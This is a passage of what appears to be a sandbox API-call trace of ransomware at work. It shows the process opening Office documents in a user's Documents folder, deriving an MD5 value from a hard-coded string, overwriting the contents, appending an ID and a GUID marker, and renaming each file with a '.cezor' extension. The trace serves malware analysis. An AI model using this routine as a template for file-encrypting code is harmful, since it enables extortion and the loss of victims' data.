dwFreeType=0x8000) returned 1 [0060.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.181] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0060.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d7f8 [0060.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d7f8 | out: hHeap=0x670000) returned 1 [0060.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.181] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a9ba60, ftCreationTime.dwHighDateTime=0x1d5212b, ftLastAccessTime.dwLowDateTime=0xc1bdc00, ftLastAccessTime.dwHighDateTime=0x1d4c58d, ftLastWriteTime.dwLowDateTime=0xc1bdc00, ftLastWriteTime.dwHighDateTime=0x1d4c58d, nFileSizeHigh=0x0, nFileSizeLow=0x3af6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rMkTON600uD2.docx", cAlternateFileName="RMKTON~1.DOC")) returned 1 [0060.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0060.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.181] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMkTON600uD2.docx") returned=".docx" [0060.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMkTON600uD2.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmkton600ud2.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.181] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=15094) returned 1 [0060.181] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.184] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3ad0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.184] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.185] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.185] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x3af6, lpOverlapped=0x0) returned 1 [0060.185] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.185] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.185] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.185] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.186] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.186] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.186] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.186] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.186] GetLastError () returned 0x0 [0060.186] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.186] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x3b00) returned 0x31218d0 [0060.186] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.186] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x3af1, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x3af1, lpOverlapped=0x0) returned 1 [0060.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.186] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3af6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.187] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.187] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.187] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.187] CloseHandle (hObject=0x5c4) returned 1 [0060.187] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.187] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.188] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMkTON600uD2.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmkton600ud2.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMkTON600uD2.docx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmkton600ud2.docx.cezor")) returned 1 [0060.188] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.188] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.189] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21e48a10, ftCreationTime.dwHighDateTime=0x1d4b56f, ftLastAccessTime.dwLowDateTime=0x3b6931a0, ftLastAccessTime.dwHighDateTime=0x1d4b49a, ftLastWriteTime.dwLowDateTime=0x3b6931a0, ftLastWriteTime.dwHighDateTime=0x1d4b49a, nFileSizeHigh=0x0, nFileSizeLow=0x1341, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="umnYAxK8Hd5gj.pptx", cAlternateFileName="UMNYAX~1.PPT")) returned 1 [0060.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0060.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\umnYAxK8Hd5gj.pptx") returned=".pptx" [0060.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\umnYAxK8Hd5gj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\umnyaxk8hd5gj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.189] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=4929) returned 1 [0060.190] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.192] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x131b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.192] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.193] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.193] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1341, lpOverlapped=0x0) returned 1 [0060.193] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.193] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.193] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.193] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.194] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.194] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.194] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.194] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.194] GetLastError () returned 0x0 [0060.194] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.194] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1340) returned 0x31218d0 [0060.194] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.194] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x133c, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x133c, lpOverlapped=0x0) returned 1 [0060.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.194] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1341, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.195] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.195] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.195] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.195] CloseHandle (hObject=0x5c4) returned 1 [0060.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.195] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\umnYAxK8Hd5gj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\umnyaxk8hd5gj.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\umnYAxK8Hd5gj.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\umnyaxk8hd5gj.pptx.cezor")) returned 1 [0060.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.196] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.197] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0410650, ftCreationTime.dwHighDateTime=0x1d4face, ftLastAccessTime.dwLowDateTime=0x5fdd3540, ftLastAccessTime.dwHighDateTime=0x1d528b2, ftLastWriteTime.dwLowDateTime=0x5fdd3540, ftLastWriteTime.dwHighDateTime=0x1d528b2, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yBWTsx0.xlsx", cAlternateFileName="YBWTSX~1.XLS")) returned 1 [0060.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0060.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yBWTsx0.xlsx") returned=".xlsx" [0060.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yBWTsx0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ybwtsx0.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.197] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=56376) returned 1 [0060.197] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.200] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdc12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.200] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.200] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.200] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.200] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.201] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xdc38, lpOverlapped=0x0) returned 1 [0060.201] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.201] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.201] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.201] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.201] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.202] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.202] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.202] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.202] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.202] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.202] GetLastError () returned 0x0 [0060.202] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.202] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.202] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xdc40) returned 0x3132418 [0060.202] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.202] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xdc33, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xdc33, lpOverlapped=0x0) returned 1 [0060.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.203] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdc38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.203] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.203] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.203] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.203] CloseHandle (hObject=0x5c4) returned 1 [0060.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.204] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yBWTsx0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ybwtsx0.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yBWTsx0.xlsx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ybwtsx0.xlsx.cezor")) returned 1 [0060.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.205] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.206] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2db420, ftCreationTime.dwHighDateTime=0x1d4d46f, ftLastAccessTime.dwLowDateTime=0x2d4522c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3c, ftLastWriteTime.dwLowDateTime=0x2d4522c0, ftLastWriteTime.dwHighDateTime=0x1d4cf3c, nFileSizeHigh=0x0, nFileSizeLow=0x8d97, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yNFdhsIRJWbx9.pptx", cAlternateFileName="YNFDHS~1.PPT")) returned 1 [0060.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0060.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yNFdhsIRJWbx9.pptx") returned=".pptx" [0060.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yNFdhsIRJWbx9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ynfdhsirjwbx9.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 